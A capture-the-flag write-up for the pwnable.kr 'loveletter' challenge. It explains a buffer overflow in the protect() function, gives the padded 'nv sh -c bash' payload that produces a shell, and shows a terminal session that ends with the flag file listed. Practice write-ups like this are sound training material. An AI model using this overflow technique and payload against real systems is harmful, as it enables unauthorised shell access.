【pwnable.kr】 loveletter

1. Challenge

At the end... all that matters is love.
author: jiwon choi

ssh loveletter@pwnable.kr -p2222 (pw:guest)

2. Solution

Log in via SSH and you will see 2 files, loveletter and readme.

readme

connect to port 9034 (nc 0 9034). the 'loveletter' binary will be executed under loveletter_pwn privilege.
pwn it and get a shell and read the flag.

Fine, let's download the binary file and drop it into IDA.

The exploit is in function protect()protect() will check the string you input and replace every one of the following chars

#&;`'"|*?~<>^()[]{}$\,

by  which is 3 bytes long. However, protect() does not check buffer length, so it can makes the 256-bytes-long buffer in main() overflowed. What worse, protect() uses memcpy() to join strings and causes null-terminator \x00 missing.

How could we get shell?

Well, we can overflow buffer and make prolog_len be 1 so only the first char of prolog will be copied into loveletterwhich is e.

Then buffer will be copied into loveletter. We can let buffer be

nv sh -c bash .....

so loveletter will be

env sh -c bash .....

..... can be anything. It won't prevent shell being launched.

In solve.py, I send

nv sh -c bash AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...AAA|\x01

where the number of char A is (256 - len('nv sh -c bash ') - len('|\x00') - 1) = 239 and it works fine.

loveletter@ubuntu:~$ mkdir /tmp/solve2
loveletter@ubuntu:~$ cd /tmp/solve2
loveletter@ubuntu:/tmp/solve2$ vim solve.py
loveletter@ubuntu:/tmp/solve2$ chmod +x solve.py
loveletter@ubuntu:/tmp/solve2$ ./solve.py
[+] Opening connection to localhost on port 9034: Done
[*] Switching to interactive mode
$ ls
flag
log
loveletter
super.pl
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值